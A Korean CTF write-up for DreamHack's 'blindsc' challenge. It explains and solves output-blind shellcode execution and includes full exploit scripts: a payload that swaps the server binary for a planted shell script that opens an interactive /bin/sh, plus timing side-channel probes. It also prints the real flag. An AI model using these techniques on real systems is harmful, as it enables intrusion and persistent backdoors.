[🥉 Bronze 1] 출력이 전부 /dev/null 인 쉘코드에서 플래그 꺼내기 — DreamHack blindsc 풀이

2026-10-28·1분 읽기·

[🥉 Bronze 1] 출력이 전부 /dev/null 인 쉘코드에서 플래그 꺼내기 — DreamHack blindsc 풀이

입력한 쉘코드를 RWX 페이지에 올려 그대로 실행해 주는데, 호출 직전에 표준 입출력 세 개를 전부 /dev/null 로 돌려 버린다. open 도 read 도 되고 플래그도 정확히 읽히는데 내보낼 구멍만 없다. /dev/tty 도 /dev/pts 도 막힌 끝에, 관측 가능한 축이 "프로세스가 언제 끝나는가" 하나만 남는다. 플래그 한 바이트를 nanosleep 횟수로 바꿔 연결이 끊긴 시각으로 되읽는 방식으로 68바이트를 복원했다.

문제: DreamHack — blindsc 분류: pwnable 난이도: 🥉 Bronze 1 FLAG: DH{47e176a97b6e3d5b166b87b5282f6dbe8f40061afd2b944730ba1e681700fceb}

문제 설명은 "주어진 바이너리를 분석하여 익스플로잇하고 플래그를 획득하세요" 한 줄이 전부다. 받은 것도 blindsc 바이너리 하나뿐, 소스는 없다.

이름이 사실상 유일한 힌트다. blind shellcode. 쉘코드를 올려 주긴 하는데 결과를 안 보여준다는 뜻이다.

보호 기법부터 본다.

file blindsc && pwn checksec blindsc
pwntools checksec 으로 본 blindsc 바이너리 — x86-64 PIE 동적링크 not stripped, Full RELRO · NX enabled · 스택 카나리 없음 · SHSTK 와 IBT 플래그가 켜져 있다
pwntools checksec 으로 본 blindsc 바이너리 — x86-64 PIE 동적링크 not stripped, Full RELRO · NX enabled · 스택 카나리 없음 · SHSTK 와 IBT 플래그가 켜져 있다

보호 기법 목록이 무의미한 문제다. 스택을 넘치게 할 생각이 없고, 바이너리가 알아서 RWX 페이지를 만들어 내 코드를 실행해 주기 때문이다. 문제는 그 다음이다.


문제 개요

항목내용
문제명blindsc
난이도🥉 Bronze 1
분류pwnable
제공 파일blindsc (ELF64 PIE, 동적링크, not stripped) — 소스·Dockerfile 없음
서버host3.dreamhack.games:<port> (문제 VM)
보호 기법Full RELRO · NX · PIE · 카나리 없음 (전부 이 문제와 무관)
핵심 제약쉘코드는 그대로 실행되는데 stdin/stdout/stderr 가 모두 /dev/null
풀이 기법체류시간 사이드채널 — 플래그 한 바이트를 nanosleep 횟수로 바꿔 읽는다

코드 실행은 공짜로 주어지고, 그걸 바깥으로 전달할 방법만 없다. 그래서 이 글의 대부분은 "출구를 어디서 찾느냐"에 대한 이야기다.


🔬 정찰 — main 이 하는 일

main 은 길지만 하는 일은 단순하다. 가운데 0x100바이트를 8바이트씩 복사하는 mov 쌍이 32번 반복돼 있어서 길어 보일 뿐이다.

// objdump 로 읽은 main 을 C 로 옮기면
char buf[0x100];              // .bss 0x4060
 
int main(void) {
    setup();                               // stdin/stdout/stderr 무버퍼링
    printf("Input shellcode: ");
    read(0, buf, 0x100);                   // 쉘코드 입력 — 최대 256바이트
 
    void *page = mmap(NULL, 0x1000,
                      PROT_READ | PROT_WRITE | PROT_EXEC,
                      MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    memcpy(page, buf, 0x100);              // 8바이트 × 32 쌍으로 펼쳐져 있다
 
    puts("Not gonna show you the result!");
 
    int fd = open("/dev/null", O_RDWR);
    dup2(fd, 0);
    dup2(fd, 1);
    dup2(fd, 2);
 
    ((void (*)(void))page)();              // call rdx
    return 0;
}

마지막 다섯 줄이 이 문제의 전부다. 쉘코드를 호출하기 직전에 표준 입출력 세 개를 /dev/null 로 덮는다. puts 가 친절하게 "결과는 안 보여준다"고 예고까지 해 준다.

그 구간만 잘라 디스어셈블로 확인한다. 가독성을 위해 치환 규칙 파일을 하나 두고 주석을 얹었다.

s|\(call.*<open@plt>\)|\1          <-- fd = open("/dev/null", O_RDWR)|
s|\(mov    esi,0x0\)$|\1                 <-- dup2(fd, 0)|
s|\(mov    esi,0x1\)$|\1                 <-- dup2(fd, 1)  표준출력이 여기서 죽는다|
s|\(mov    esi,0x2\)$|\1                 <-- dup2(fd, 2)|
s|\(call   rdx\)|\1                   <-- 입력받은 쉘코드로 점프|
s|\(lea    rax,\[rip+0xbb1\].*\)|\1   "/dev/null"|
objdump -d --no-show-raw-insn -M intel --start-address=0x1483 --stop-address=0x14d7 blindsc | sed -f annot.sed
objdump 로 자른 main 끝부분 — open@plt 로 /dev/null 을 연 뒤 esi 를 0·1·2 로 바꿔 가며 dup2 를 세 번 호출하고, 마지막에 call rdx 로 mmap 페이지의 쉘코드로 점프한다
objdump 로 자른 main 끝부분 — open@plt 로 /dev/null 을 연 뒤 esi 를 0·1·2 로 바꿔 가며 dup2 를 세 번 호출하고, 마지막에 call rdx 로 mmap 페이지의 쉘코드로 점프한다

정적으로 읽은 게 실행 중에도 맞는지 디버거로 한 번 더 본다. call rdx 에 브레이크포인트를 걸고, 그 순간의 fd 상태를 그대로 뽑는 gdb 스크립트다.

#!/usr/bin/env python3
"""고전 orw 쉘코드(open→read→write(1))를 0x100 바이트로 만들어 파일에 쓴다.
gdb 로 붙여 '이게 정확히 플래그를 읽어 놓고도 /dev/null 에 쓴다'를 보기 위한 것."""
from pwn import asm, context
context.arch = 'amd64'; context.os = 'linux'
 
sc = asm("""
    endbr64
    push   0x67616c66              /* "flag" */
    mov    rdi, rsp
    xor    esi, esi                /* O_RDONLY */
    xor    edx, edx
    push   2
    pop    rax
    syscall                        /* open */
    mov    rdi, rax
    mov    rsi, rsp
    sub    rsi, 0x400
    push   0x40
    pop    rdx
    xor    eax, eax
    syscall                        /* read → rax = 길이 */
    mov    rdx, rax
    push   1
    pop    rdi                     /* fd 1 */
    push   1
    pop    rax
    syscall                        /* write(1, flag, 길이) */
    push   60
    pop    rax
    xor    edi, edi
    syscall
""")
open('payload_orw.bin', 'wb').write(sc.ljust(0x100, b'\x90'))
print(f"payload_orw.bin — 쉘코드 {len(sc)}바이트 + NOP 패딩 = 0x100")
set confirm off
set pagination off
# main 끝의 'call rdx' — 쉘코드로 점프하기 직전
break *(main+615)
run < payload_orw.bin
printf "\n===== call rdx 직전: 이제 막 쉘코드로 뛴다 =====\n"
x/3i $pc
printf "\n----- rdx = mmap 으로 잡은 RWX 페이지 -----\n"
x/6i $rdx
printf "\n----- 이 순간 프로세스의 fd 상태 -----\n"
python
import gdb
pid = gdb.selected_inferior().pid
gdb.execute("shell ls -l /proc/%d/fd" % pid)
end
continue
python3 mkpayload.py && gdb -q -batch -x verify.gdb ./blindsc
gdb -batch 로 call rdx 직전에 멈춘 화면 — rdx 가 가리키는 RWX 페이지에 내가 보낸 endbr64·push 0x67616c66 쉘코드가 그대로 올라와 있고, /proc/PID/fd 에는 0·1·2·3 이 전부 /dev/null 로 찍힌다
gdb -batch 로 call rdx 직전에 멈춘 화면 — rdx 가 가리키는 RWX 페이지에 내가 보낸 endbr64·push 0x67616c66 쉘코드가 그대로 올라와 있고, /proc/PID/fd 에는 0·1·2·3 이 전부 /dev/null 로 찍힌다

내 쉘코드는 RWX 페이지에 멀쩡히 올라와 있고, 그 순간 fd 0·1·2 는 전부 /dev/null 이다. open 이 돌려받은 fd 3 도 같은 /dev/null 이라 네 개가 전부 같은 곳을 본다.



💣 막힌 건 코드 실행이 아니라 출구

여기서 한 번 짚고 가야 한다. 쉘코드가 안 도는 걸까, 말을 못 하는 걸까.

둘은 전혀 다른 문제다. 전자면 실행 자체를 되살려야 하고, 후자면 출구만 찾으면 된다. 소켓으로는 아무것도 안 오니 구별이 안 된다. 그래서 출력 대신 파일로 흔적을 남겨 봤다.

실험하려면 서버가 필요한데, 라이브 VM 을 켜 놓고 찔러 보는 건 크레딧 낭비다. 드림핵 pwnable 배포본은 모양이 거의 같아서, 예전에 받아 둔 챌린지 Dockerfile 들을 뒤져 가장 흔한 템플릿을 그대로 복제했다.

# 드림핵 pwnable 배포 템플릿을 그대로 복제한 것.
# (내가 과거에 받은 챌린지 Dockerfile 186개 중 다수가 이 모양이다)
FROM ubuntu:22.04@sha256:67211c14fa74f070d27cc59d69a7fa9aeff8e28ea118ef3babc295a0428a6d21
 
ENV user blindsc
ENV chall_port 7182
 
RUN apt-get update && apt-get -y install socat && rm -rf /var/lib/apt/lists/*
RUN adduser --disabled-password --gecos "" $user
 
ADD ./flag /home/$user/flag
ADD ./$user /home/$user/$user
 
RUN chown root:$user /home/$user/flag && chown root:$user /home/$user/$user
RUN chmod 755 /home/$user/$user && chmod 440 /home/$user/flag
 
WORKDIR /home/$user
USER $user
EXPOSE $chall_port
CMD while :; do socat -T 30 TCP-LISTEN:$chall_port,reuseaddr,fork EXEC:/home/$user/$user ; done
docker build -t blindsc-repro repro && docker run -d --name blindsc-vuln -p 127.0.0.1:7182:7182 blindsc-repro

이 복제본에 던진 쉘코드는 고전 orw 와 똑같이 open("flag") → read 까지 가고, 마지막 write 만 fd 1 대신 컨테이너 안 파일로 돌린다.

▸📄 orw_to_file.py — 플래그를 소켓 대신 파일로 쓰는 쉘코드 (전문)
#!/usr/bin/env python3
"""쉘코드가 '안 도는' 게 아니라 '말을 못 하는' 것임을 증명한다.
 
고전 orw 와 똑같이 open("flag")+read 를 하되, 마지막 write 만 fd 1 대신
컨테이너 안 파일(proof)로 돌린다. 소켓으로는 여전히 아무것도 안 오지만
컨테이너 안에는 플래그가 적힌 파일이 생긴다.
"""
import socket
import subprocess
import sys
import time
 
from pwn import asm, context
 
context.arch = 'amd64'
context.os = 'linux'
 
sc = asm("""
    endbr64
    push   0x67616c66              /* "flag" */
    mov    rdi, rsp
    xor    esi, esi
    xor    edx, edx
    push   2
    pop    rax
    syscall                        /* open("flag", O_RDONLY) */
    mov    rdi, rax
    mov    rsi, rsp
    sub    rsi, 0x400
    push   0x40
    pop    rdx
    xor    eax, eax
    syscall                        /* read → rsi=버퍼, rax=길이 */
    mov    r14, rsi
    mov    r15, rax
    mov    rax, 0x666f6f7270        /* "proof" */
    push   rax
    mov    rdi, rsp
    mov    esi, 0x241              /* O_WRONLY|O_CREAT|O_TRUNC */
    mov    edx, 0x1a4              /* 0644 */
    push   2
    pop    rax
    syscall                        /* open("proof", ...) */
    mov    rdi, rax
    mov    rsi, r14
    mov    rdx, r15
    push   1
    pop    rax
    syscall                        /* write(proof, flag) */
    push   60
    pop    rax
    xor    edi, edi
    syscall
""")
 
host, port = sys.argv[1], int(sys.argv[2])
s = socket.create_connection((host, port), timeout=10)
s.settimeout(3)
s.sendall(sc.ljust(0x100, b'\x90'))
out = b''
try:
    while True:
        c = s.recv(4096)
        if not c:
            break
        out += c
except socket.timeout:
    pass
s.close()
print(f"쉘코드 {len(sc)}바이트 전송 — 소켓으로 돌아온 것: {out!r}")
# 쉘코드는 우리 연결이 끊긴 뒤에도 잠깐 더 돈다. 다 쓸 때까지 기다렸다 본다.
time.sleep(0.5)
print("컨테이너 안을 들여다보면:")
subprocess.run(['docker', 'exec', 'blindsc-vuln',
                'sh', '-c', 'ls -l proof && echo "proof 내용: $(cat proof)"'])
python3 orw_to_file.py 127.0.0.1 7182
orw_to_file.py 실행 결과 — 소켓으로는 배너 두 줄 외에 아무것도 안 오지만, docker exec 로 들여다본 컨테이너 안에는 proof 파일이 생기고 그 안에 더미 플래그 35바이트가 그대로 들어 있다
orw_to_file.py 실행 결과 — 소켓으로는 배너 두 줄 외에 아무것도 안 오지만, docker exec 로 들여다본 컨테이너 안에는 proof 파일이 생기고 그 안에 더미 플래그 35바이트가 그대로 들어 있다

소켓은 조용한데 컨테이너 안에는 플래그가 적힌 파일이 생겼다. 쉘코드는 돌고, open 도 read 도 되고, 플래그는 이미 메모리에 있다. 내보낼 구멍만 없다.


🐛 삽질 — 출구를 찾아 세 방향

▶🐛 삽질 1 — /dev/tty 와 /dev/pts 로 새어나가지 않을까

dup2 는 fd 번호만 갈아끼운다. 터미널 장치 자체가 살아 있다면 경로로 다시 열면 된다. socat 을 pty 옵션으로 띄우면 자식의 0·1·2 는 /dev/pts/N 이고, 그 경로는 이름이 있다.

그래서 두 가지를 같이 던졌다. 제어 터미널을 노리는 open("/dev/tty", O_WRONLY), 그리고 슬레이브 장치를 0번부터 9번까지 훑는 쪽.

둘 다 조용했다. 복제본은 pty 없는 평문 EXEC: 라 제어 터미널 자체가 없고, 실서버에서도 결과는 같았다(아래 탐침 캡쳐의 B·C).

▶🐛 삽질 2 — 복제본에는 타이밍 채널조차 없었다

출력이 안 되면 체류시간이라도 재면 된다고 생각했다. 쉘코드를 3초 재우고 연결이 언제 끊기는지 보면 1비트는 나온다.

그런데 복제본에서는 네 탐침이 전부 0.00초였다. 쉘코드가 3초를 자든 말든 연결은 dup2 가 끝나는 순간 끊겼다.

이유는 socat 의 동작에 있다. 평문 EXEC: + fork 모드에서 자식의 fd 0·1 은 socat 이 만든 소켓페어이고, dup2 가 그 마지막 참조를 닫으면 socat 쪽은 EOF 를 본다. 그러면 socat 은 relay 를 접고 자식에게 SIGTERM 을 보낸다.

추측으로 두기 싫어서 쉘코드 두 개로 갈랐다. 차이는 SIGTERM 을 무시하느냐 하나뿐이다.

#!/usr/bin/env python3
"""복제본에서 '쉘코드가 왜 중간에 잘리는가'를 가른 실험.
 
dup2 가 socat 과 이어진 마지막 fd 를 닫으면 socat 은 relay 를 접으면서
자식에게 SIGTERM 을 보낸다. 그래서 execve 처럼 조금이라도 느린 작업은
시작도 못 하고 죽는다. 두 쉘코드의 차이는 SIGTERM 을 무시하느냐 뿐이다.
 
  X) 그냥 1초 기다렸다가 마커 파일 생성   → 마커가 없으면 중간에 죽은 것
  Y) SIGTERM 을 SIG_IGN 한 뒤 똑같이      → 마커가 생기면 가설 확정
"""
import socket
import subprocess
import time
 
from pwn import asm, context
 
context.arch = 'amd64'
context.os = 'linux'
 
IGN_TERM = """
    push   0                       /* sa_mask     */
    push   0                       /* sa_restorer */
    push   0                       /* sa_flags    */
    push   1                       /* sa_handler = SIG_IGN */
    mov    rsi, rsp
    push   15
    pop    rdi                     /* SIGTERM */
    xor    edx, edx
    push   8
    pop    r10
    push   13
    pop    rax                     /* SYS_rt_sigaction */
    syscall
    add    rsp, 0x20
"""
 
SLEEP_1S = """
    push   0
    push   500000000
    push   0
    mov    rdi, rsp
    xor    esi, esi
    push   35
    pop    rax
    syscall
    add    rsp, 0x18
    push   0
    push   500000000
    push   0
    mov    rdi, rsp
    xor    esi, esi
    push   35
    pop    rax
    syscall
    add    rsp, 0x18
"""
 
 
def sleep_then_mark(path, ignore_term):
    v = int.from_bytes(path.encode().ljust(8, b'\x00'), 'little')
    return asm("    endbr64\n" + (IGN_TERM if ignore_term else "") + SLEEP_1S + f"""
    mov    rax, {hex(v)}
    push   rax
    mov    rdi, rsp
    mov    esi, 0x1a4
    push   85
    pop    rax                     /* SYS_creat */
    syscall
    push   60
    pop    rax
    xor    edi, edi
    syscall
""")
 
 
for label, sc in [("X) 생짜로 1초 대기      ", sleep_then_mark('/tmp/rX', False)),
                  ("Y) SIGTERM 무시 후 1초 대기", sleep_then_mark('/tmp/rY', True))]:
    s = socket.create_connection(('127.0.0.1', 7182), timeout=10)
    s.settimeout(2.0)
    s.sendall(sc.ljust(0x100, b'\x90'))
    try:
        while s.recv(4096):
            pass
    except socket.timeout:
        pass
    s.close()
    print(f"  {label} 쉘코드 {len(sc):3d}B 전송")
    time.sleep(2.0)
 
print("\n컨테이너 안 마커 확인:")
subprocess.run(['docker', 'exec', 'blindsc-vuln', 'sh', '-c',
                'for f in /tmp/rX /tmp/rY; do [ -e $f ] && echo "  $f 있음  (1초를 살아남았다)" '
                '|| echo "  $f 없음  (중간에 죽었다)"; done'])
python3 sigterm_test.py
sigterm_test.py 실행 결과 — 그냥 1초 기다린 X 쉘코드는 /tmp/rX 마커를 남기지 못하고 죽었는데, rt_sigaction 으로 SIGTERM 을 SIG_IGN 한 Y 쉘코드는 /tmp/rY 마커를 만들어 1초를 살아남았다
sigterm_test.py 실행 결과 — 그냥 1초 기다린 X 쉘코드는 /tmp/rX 마커를 남기지 못하고 죽었는데, rt_sigaction 으로 SIGTERM 을 SIG_IGN 한 Y 쉘코드는 /tmp/rY 마커를 만들어 1초를 살아남았다

확정이다. 복제본에서 느린 작업이 전부 잘려 나간 건 SIGTERM 때문이었다.

이게 한참 전에 겪은 이상한 증상도 설명해 준다. execve("/bin/sh", ...) 쉘코드를 파이프로 먹이면 멀쩡히 도는데 소켓으로 던지면 아무 일도 안 일어났었다. creat 같은 단발 syscall 은 마이크로초 단위라 SIGTERM 보다 빨랐고, execve 는 새 프로그램을 띄우는 동안 신호를 맞아 죽은 것이다.

▶🐛 삽질 3 — 바이너리를 바꿔치기: 복제본에선 셸까지 땄다

이번 연결로 못 꺼낸다면 다음 연결을 출구로 쓰면 된다.

배포 템플릿은 adduser 로 만든 홈을 그 계정 소유로 두고, 바이너리만 root:user 755 로 넣는다. 그런데 파일을 지울 권한은 파일이 아니라 디렉토리에 달려 있다. 홈이 내 것이면 root 소유 바이너리도 unlink 할 수 있다.

서버는 while :; do socat ... EXEC:/home/<user>/<user>; done 로 매 연결마다 그 경로를 새로 exec 한다. 같은 이름으로 쉘 스크립트를 심어 두면 다음 연결은 내 스크립트가 받고, 그 시점의 stdout 은 아직 /dev/null 이 아니라 소켓이다.

계정 이름을 모르니 경로는 readlink("/proc/self/exe") 로 알아냈다. 삽질 2 에서 배운 대로 SIGTERM 부터 무시하고 시작한다.

#!/usr/bin/env python3
"""blindsc (DreamHack Bronze 1, pwnable) — 출력이 막힌 쉘코드로 플래그 꺼내기.
 
문제 구조
---------
main 은 입력받은 0x100 바이트를 RWX 페이지로 복사해 그대로 호출해 준다.
그런데 호출 직전에
 
    fd = open("/dev/null", O_RDWR);
    dup2(fd, 0); dup2(fd, 1); dup2(fd, 2);
 
를 해 버린다. 그래서 고전적인 orw 쉘코드(open→read→write(1))는 플래그를 정확히
읽어 놓고도 /dev/null 에 쏟는다. 게다가 드림핵 배포본은
 
    while :; do socat -T 30 TCP-LISTEN:$port,reuseaddr,fork EXEC:/home/$user/$user ; done
 
이라서, dup2 가 socat 과 이어진 마지막 fd 를 닫는 순간 socat 은 relay 를 접고
자식에게 SIGTERM 을 보낸다 — 연결은 즉시 끊기고 프로세스도 곧 죽는다.
즉 '이번 연결'에는 출구가 없다(타이밍 채널조차 없다).
 
착안
----
배포 템플릿은 `adduser` 로 만든 홈(/home/<user>)을 그 계정 소유로 두고,
바이너리만 root:user 755 로 넣는다. 파일을 지울 권한은 파일이 아니라
**디렉토리**에 달려 있으므로, 우리는 root 소유 바이너리를 unlink 할 수 있다.
서버는 매 연결마다 그 경로를 새로 exec 하니, 같은 이름으로 쉘 스크립트를 심어 두면
**다음 연결**이 우리 스크립트를 실행한다. 그 시점의 stdout 은 아직 /dev/null 이
아니라 소켓이다.
 
그래서 쉘코드는 이것만 한다.
  1) rt_sigaction(SIGTERM, SIG_IGN) — socat 이 쏘는 신호를 무시해 시간을 번다
  2) readlink("/proc/self/exe") — 계정명·바이너리 이름을 몰라도 내 경로를 안다
  3) unlink(그 경로)
  4) open(같은 경로, O_CREAT, 0755) + write(쉘 스크립트)
 
사용법:
    python3 solve.py host3.dreamhack.games 18419
"""
import argparse
import re
import socket
import sys
import time
 
from pwn import asm, context
 
context.arch = 'amd64'
context.os = 'linux'
 
MAXLEN = 0x100      # main 이 buf → mmap 페이지로 복사하는 바이트 수
 
# 바이너리 자리에 심을 스크립트. 다음 연결의 stdout 은 소켓이므로 그대로 쏟아진다.
# $0 는 socat 이 exec 한 경로이므로, ${0%/*} 로 제 디렉토리를 찾아간다.
SCRIPT = (b"#!/bin/sh\n"
          b"cd ${0%/*} 2>/dev/null; cat flag\n"
          b"exec /bin/sh -i 2>&1\n")
 
# socat 이 relay 를 접으며 보내는 SIGTERM 을 무시한다.
# (이걸 안 하면 execve 같은 '느린' 작업은 전부 중간에 잘린다)
IGNORE_SIGTERM = """
    push   0                        /* sa_mask     */
    push   0                        /* sa_restorer */
    push   0                        /* sa_flags    */
    push   1                        /* sa_handler = SIG_IGN */
    mov    rsi, rsp
    push   15
    pop    rdi                      /* SIGTERM */
    xor    edx, edx                 /* oldact = NULL */
    push   8
    pop    r10                      /* sigsetsize */
    push   13
    pop    rax                      /* SYS_rt_sigaction */
    syscall
    add    rsp, 0x20
"""
 
 
def build_shellcode(script: bytes = SCRIPT) -> bytes:
    sc = asm("    endbr64\n" + IGNORE_SIGTERM + f"""
    sub    rsp, 0x200
    mov    rbp, rsp                 /* 경로 버퍼 */
 
    lea    rdi, [rip + p_exe]
    mov    rsi, rbp
    push   0x100
    pop    rdx
    push   89
    pop    rax                      /* SYS_readlink */
    syscall
    test   eax, eax
    js     fin
    mov    byte ptr [rbp + rax], 0  /* readlink 는 NUL 을 안 붙인다 */
 
    mov    rdi, rbp
    push   87
    pop    rax                      /* SYS_unlink — 디렉토리 쓰기권한으로 root 파일도 지운다 */
    syscall
 
    mov    rdi, rbp
    mov    esi, 0x241               /* O_WRONLY|O_CREAT|O_TRUNC */
    mov    edx, 0x1ed               /* 0755 */
    push   2
    pop    rax                      /* SYS_open */
    syscall
    mov    rdi, rax
 
    lea    rsi, [rip + p_script]
    push   {len(script)}
    pop    rdx
    push   1
    pop    rax                      /* SYS_write */
    syscall
fin:
    push   60
    pop    rax                      /* SYS_exit */
    xor    edi, edi
    syscall
p_exe:
    .ascii "/proc/self/exe\\0"
p_script:
""" + "".join(f"    .byte {b}\n" for b in script))
    if len(sc) > MAXLEN:
        sys.exit(f"[-] 쉘코드 {len(sc)}바이트 — 0x100 한도 초과")
    return sc
 
 
BANNERS = (b'Input shellcode: \n', b'Not gonna show you the result!\n')
 
 
def shot(host, port, payload: bytes, read_for=2.0, send_after=None):
    s = socket.create_connection((host, port), timeout=10)
    s.settimeout(read_for)
    s.sendall(payload.ljust(MAXLEN, b'\x90') if payload else b'')
    if send_after:
        time.sleep(0.5)
        s.sendall(send_after)
    out = b''
    try:
        while True:
            chunk = s.recv(4096)
            if not chunk:
                break
            out += chunk
    except socket.timeout:
        pass
    s.close()
    return out
 
 
def main():
    ap = argparse.ArgumentParser()
    ap.add_argument('host')
    ap.add_argument('port', type=int)
    args = ap.parse_args()
 
    sc = build_shellcode()
    print(f"[*] 1단계 — 쉘코드 {len(sc)}바이트(한도 {MAXLEN}): 바이너리를 스크립트로 바꿔치기")
    out = shot(args.host, args.port, sc)
    for b in BANNERS:
        out = out.replace(b, b'')
    print(f"    이 연결에서 돌아온 것: {out!r}   ← 비어 있는 게 정상이다")
 
    time.sleep(1.0)
 
    print("[*] 2단계 — 다시 붙는다. socat 이 exec 하는 건 이제 우리 스크립트다")
    out = shot(args.host, args.port, b'', read_for=3.0,
               send_after=b'id; ls -la; cat flag\n')
    text = out.decode(errors='replace')
    print('--- 수신 전문 ---')
    print(text.rstrip())
    print('-----------------')
 
    m = re.search(r'DH\{[^}\n]*\}', text)
    if m:
        print(f"[+] FLAG = {m.group(0)}")
        return 0
    print("[-] 플래그를 못 찾았다")
    return 1
 
 
if __name__ == '__main__':
    sys.exit(main())
python3 solve.py 127.0.0.1 7182
solve.py 를 복제본에 돌린 결과 — 1단계 연결은 조용히 끝나고, 2단계로 다시 붙으면 심어 둔 스크립트가 더미 플래그를 뱉은 뒤 /bin/sh 를 넘겨줘 id·ls -la 까지 실행되는 대화형 셸이 잡힌다
solve.py 를 복제본에 돌린 결과 — 1단계 연결은 조용히 끝나고, 2단계로 다시 붙으면 심어 둔 스크립트가 더미 플래그를 뱉은 뒤 /bin/sh 를 넘겨줘 id·ls -la 까지 실행되는 대화형 셸이 잡힌다

복제본에서는 플래그에 더해 대화형 셸까지 잡혔다. 그런데 실서버에서는 이게 안 먹었다. 이유는 아래 "오라클로 환경 읽기"에서 같은 사이드채널로 직접 확인했다.



🎯 핵심 — 실서버에는 '언제 끝나는가'가 남아 있다

복제본에서 막혔던 타이밍을 실서버에서 다시 재 봤다. 네 가지 출구 후보를 한 번에 던지는 탐침이다.

▸📄 probe_remote.py — 출구 채널 네 가지를 한 번에 찔러 보는 탐침 (전문)
#!/usr/bin/env python3
"""blindsc — 쉘코드가 플래그를 꺼낼 '출구'가 하나라도 있는지 네 가지로 찔러 본다.
 
A) write(1, flag)        — 고전 orw. fd 1 이 /dev/null 이라 허공으로 간다
B) /dev/tty 로 write     — 제어 터미널이 남아 있다면 거기로 샐 수 있다
C) /dev/pts/0~9 로 write — socat 이 pty 로 띄웠다면 슬레이브 경로가 살아 있다
D) 3초 머물다 종료       — 출력이 아니라 '체류시간'이 관측되는지 본다
 
각 연결에서 (배너 외 수신 바이트, 연결이 끊기기까지 걸린 시간) 을 찍는다.
"""
import socket
import sys
import time
 
from pwn import asm, context
 
context.arch = 'amd64'
context.os = 'linux'
 
OPEN_READ = """
    push   0x67616c66              /* "flag" */
    mov    rdi, rsp
    xor    esi, esi
    xor    edx, edx
    push   2
    pop    rax
    syscall                        /* open("flag", O_RDONLY) */
    mov    rdi, rax
    mov    rsi, rsp
    sub    rsi, 0x400
    push   0x40
    pop    rdx
    xor    eax, eax
    syscall                        /* read → rsi=버퍼, rax=길이 */
"""
EXIT = """
    push   60
    pop    rax
    xor    edi, edi
    syscall
"""
 
A_WRITE1 = asm("    endbr64\n" + OPEN_READ + """
    mov    rdx, rax
    push   1
    pop    rdi                     /* fd 1 */
    push   1
    pop    rax
    syscall
""" + EXIT)
 
B_DEVTTY = asm("    endbr64\n" + OPEN_READ + """
    mov    r14, rsi
    mov    r15, rax
    mov    rax, 0x7974742f7665642f /* "/dev/tty" */
    push   0
    push   rax
    mov    rdi, rsp
    push   1
    pop    rsi                     /* O_WRONLY */
    xor    edx, edx
    push   2
    pop    rax
    syscall
    mov    rdi, rax
    mov    rsi, r14
    mov    rdx, r15
    push   1
    pop    rax
    syscall
""" + EXIT)
 
C_DEVPTS = asm("    endbr64\n" + OPEN_READ + """
    mov    r14, rsi
    mov    r15, rax
    sub    rsp, 0x40
    mov    rbp, rsp
    mov    rax, 0x7374702f7665642f /* "/dev/pts" */
    mov    qword ptr [rbp], rax
    mov    dword ptr [rbp+8], 0x302f  /* "/0" + NUL */
    mov    r12b, 0x30
pts_loop:
    mov    byte ptr [rbp+9], r12b
    mov    rdi, rbp
    push   1
    pop    rsi
    xor    edx, edx
    push   2
    pop    rax
    syscall
    test   eax, eax
    js     pts_next
    mov    rdi, rax
    mov    rsi, r14
    mov    rdx, r15
    push   1
    pop    rax
    syscall
pts_next:
    inc    r12b
    cmp    r12b, 0x39
    jbe    pts_loop
""" + EXIT)
 
D_STAY = asm("    endbr64\n    mov ebx, 100\n" + """
loop:
    push   0
    push   30000000                /* 30ms */
    push   0
    mov    rdi, rsp
    xor    esi, esi
    push   35
    pop    rax                     /* SYS_nanosleep */
    syscall
    add    rsp, 0x18
    dec    ebx
    jnz    loop
""" + EXIT)
 
BANNERS = (b'Input shellcode: \n', b'Not gonna show you the result!\n')
 
 
def shot(host, port, sc, label, wait=8.0):
    s = socket.create_connection((host, port), timeout=10)
    s.settimeout(wait)
    s.sendall(sc.ljust(0x100, b'\x90'))
    t0 = time.time()
    out = b''
    try:
        while True:
            chunk = s.recv(4096)
            if not chunk:
                break
            out += chunk
    except socket.timeout:
        out += b'<timeout>'
    dt = time.time() - t0
    s.close()
    for b in BANNERS:
        out = out.replace(b, b'')
    print(f"  {label:26s} 쉘코드 {len(sc):3d}B | 연결유지 {dt:5.2f}s | 배너외수신 {out!r}")
    return dt
 
 
host, port = sys.argv[1], int(sys.argv[2])
print(f"=== {host}:{port} 출구 채널 탐침 ===")
shot(host, port, A_WRITE1, "A) write(1, flag)")
shot(host, port, B_DEVTTY, "B) /dev/tty 로 write")
shot(host, port, C_DEVPTS, "C) /dev/pts/0~9 로 write")
shot(host, port, D_STAY,   "D) 3초 머물다 종료")
python3 probe_remote.py host3.dreamhack.games 11905
probe_remote.py 를 실제 드림핵 서버에 돌린 결과 — write(1)·/dev/tty·/dev/pts 세 탐침은 배너 외에 아무것도 못 받고 0.04초 만에 끊기는데, 3초 머무는 D 탐침만 연결유지 3.07초로 찍혀 체류시간이 관측된다
probe_remote.py 를 실제 드림핵 서버에 돌린 결과 — write(1)·/dev/tty·/dev/pts 세 탐침은 배너 외에 아무것도 못 받고 0.04초 만에 끊기는데, 3초 머무는 D 탐침만 연결유지 3.07초로 찍혀 체류시간이 관측된다

A·B·C 는 복제본과 똑같이 전멸이다. 그런데 D 가 3.07초다.

실서버는 복제본과 달리 쉘코드가 도는 동안 TCP 연결을 붙잡고 있다. 출력은 여전히 0바이트지만, "프로세스가 몇 초 뒤에 끝났는가"는 밖에서 잴 수 있다. 축이 하나 생겼다.

그러면 플래그 한 바이트를 그 축에 실으면 된다.

    ; n = flag[i] - 0x20   (출력 가능 문자를 0 기준으로 당긴다)
    movzx  ebx, byte ptr [rsi + i]
    sub    ebx, 0x20
    js     done
loop:
    ; nanosleep(30ms) 를 n 번
    push   0
    push   30000000
    push   0
    mov    rdi, rsp
    xor    esi, esi
    push   35
    pop    rax
    syscall
    add    rsp, 0x18
    dec    ebx
    jnz    loop
done:
    ; exit → 이 시점에 연결이 끊긴다

nanosleep 을 한 번에 큰 값으로 주지 않고 30ms 씩 n 번 반복한 이유는 단순하다. tv_nsec 은 10억 미만이어야 해서 큰 값은 초·나노초로 쪼개야 하는데, 반복문이 더 짧다.

측정값을 글자로 되돌리려면 기준 두 개가 필요하다. 접속·배너·mmap 까지 걸리는 기본지연과, nanosleep 한 번의 실제 단위시간이다. 둘 다 값이 고정된 쉘코드로 먼저 잰다. n=0 과 n=90 을 던지면 기본지연은 전자, 단위시간은 둘의 차이를 90으로 나눈 값이다.

